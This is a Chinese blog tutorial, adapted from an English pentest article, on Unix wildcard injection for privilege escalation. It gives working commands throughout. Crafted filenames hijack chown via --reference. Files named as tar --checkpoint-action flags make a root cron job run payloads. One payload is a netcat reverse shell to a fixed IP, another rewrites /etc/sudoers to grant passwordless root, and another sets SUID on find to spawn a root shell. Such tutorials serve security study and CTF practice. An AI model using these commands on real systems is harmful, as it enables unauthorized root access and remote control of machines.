通配符注入(Wildcard Injection)是一有趣的老式Unix黑客技术。
个人感觉,就是用“特殊的文件名”来辅助执行命令。
通配符
字符 | 含义 | 实例 |
---|---|---|
* |
匹配 0 或多个字符 | a*b a与b之间可以有任意长度的任意字符, 也可以一个也没有, 如aabcb, axyzb, a012b, ab 。 |
? |
匹配任意一个字符 | a?b a与b之间必须也只能有一个字符, 可以是任意字符, 如aab, abb, acb, a0b 。 |
[list] |
匹配list中的任意单一字符 | a[xyz]b a与b之间必须也只能有一个字符, 但只能是 x 或 y 或 z, 如: axb, ayb, azb。 |
[^list] |
匹配除list中的任意单一字符 | a[^0-9]b a与b之间必须也只能有一个字符, 但不能是阿拉伯数字, 如axb, aab, a-b。 |
[c1-c2] |
匹配c1-c2中的任意单一字符如:[0-9] [a-z] |
a[0-9]b 0与9之间必须也只能有一个字符,如a0b, a1b... a9b。 |
{string1,string2,...} |
匹配sring1或string2(或更多)其中一字符串 | a{abc,xyz,123}b a与b之间只能是abc或xyz或123这三个字符串之一。 |
[]
的特殊例子
[]:匹配范围
[^]
:排除匹配范围
[:alnum:]:所有字母和数字
[:alpha:]:所有字母
[:digit:]:所有数字
[:lower:]:所有小写字母
[:upper:]:所有大写字母
[:blank:]:空白字符和TAB制表符
[:space:]:包括空白字符、TAB制表符(\t)、换页(\f)
[:cntrl:]:所有控制字符
[:graph:]:可打印并可看到的字符。空格是可打印的,但是不是可看到的。
[:print:]:所有可打印字符
[:punct:]:所有标点符号,非字母、数字、控制字符和space字符。
[:xdigit:]:十六进制数的字符。
特殊变量
IFS 分隔符,
或
或
三者之一组成(我们常用space)。
CR 由
产生。
简单的实例1
首先建立3个文件,各自写入了一行内容
cd /Desktop
mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is Wildcard Injection" > file2
echo "take help" > --help
之后用cat命令查看这些文件
cat file1
cat file 2
cat --help
前两个是不会有异常的,但是在尝试读取--help
这个文件的时候,显示的不是take help
,而是从自己的库中调用自己的-help
选项,这种类型的技巧称为Wildcard wildness
。
通过Chown劫持文件所有者
利用chown
命令可以改变文件的所有者,一般用户没有普通权限更改别人文件的所有者,除了root。
超级管理员用户 (root) – 执行chown命令。
非root用户1(raj) – 执行普通任务,如创建文件
非root用户2(aarti) – 执行普通任务,如创建文件
恶意用户(Ignite) – 注入chown命令
在下图中你可以看到,所有PHP文件的所有者均为raj
用户。
chown有个参数--reference
,作用如下,
With --reference, change the owner and group of each FILE to those of RFILE.
“克隆”参考文件的权限到你指定的文件或目录上。
cd
ls -al
echo "" > my.php
echo > --reference=my.php
当root用户使用通配符*
修改所有PHP文件所有权时,ignite用户将取得所有文件间接所有权。
chown -R aarti:aarti *.php
ls -al
tar命令的利用
创建一些文件,然后用crontab命令定时备份
nano /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
crontab和tar通配符注入
假设现在以一个普通用户的身份登陆终端,尝试提权到root。然后cat /etc/crontab
查看计划任务。
本机用msfvenom生成一个netcat反弹语句
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R
然后复制到ssh中,cd到要打包的目录中
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
可以先执行tar cf archive.tar *
看看触发的效果,crontab中的tar是root权限运行的,所以就等着反弹root会话吧。
--checkpoint[=NUMBER]
(翻译起来绕口) 按百分几显示处理进度?
--checkpoint-action = ACTION
在每个检查点上执行指定的操作
有错误的第二个例子
原作者是这样子的
cd /tmp
mkdir data
chmod 777 data
cd data
echo "" > f1
echo "" > f2
echo "" > f3
在其他目录中编写一个bash脚本,tar打包/tmp/data
。
mkdir info
cd info
nano script.sh
chmod 777 script.sh
注意,这个shell的内容是这样的
#!/bin/bash
cd /tmp/data
tar cf /backup/backup.tgz *
手动执行这个脚本就会发现,根本不会自动切换到/tmp/data目录。
这是因为shell在执行脚本时,会创建一个子shell,并在子shell中逐个执行脚本中的指令。 在子shell中已经切换了目录了,但是子shell一旦执行完,马上退出,子shell中的变量和操作全部都收回。回到终端根本就看不到这个过程的变化。
解决办法
执行
source c.sh
,这时候就是直接在终端的shell执行脚本了,没有生成子shell,执行的结果就是输出历史命令,并且切换了目录。
每次都要输入source是一件烦琐的事情,其实source命令又叫点命令,所以执行. ./c.sh
是一样的效果,注意:.和.中间有个空格!
tar+crontab+sudoers
就是用crontab改了sudoers文件的内容
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "" > "--checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
tar+crontab+suid
图略,就是用crontab改变文件的suid实现提权
echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" \;
root
find f1 -exec "/bin/sh" \;
id
whoami
在ctf中的利用
看完上面的通配符注入,再看看这个,p神博客写的无字母数字webshell之提高篇
觉得看不够的话还可以接着看下面这两个
【CTF 攻略】如何绕过四个字符限制getshell
https://www.anquanke.com/post/id/87203
命令注入突破长度限制
https://www.freebuf.com/articles/web/154453.html
注意,代码不能随便乱插,否则就被审核了
原文:https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/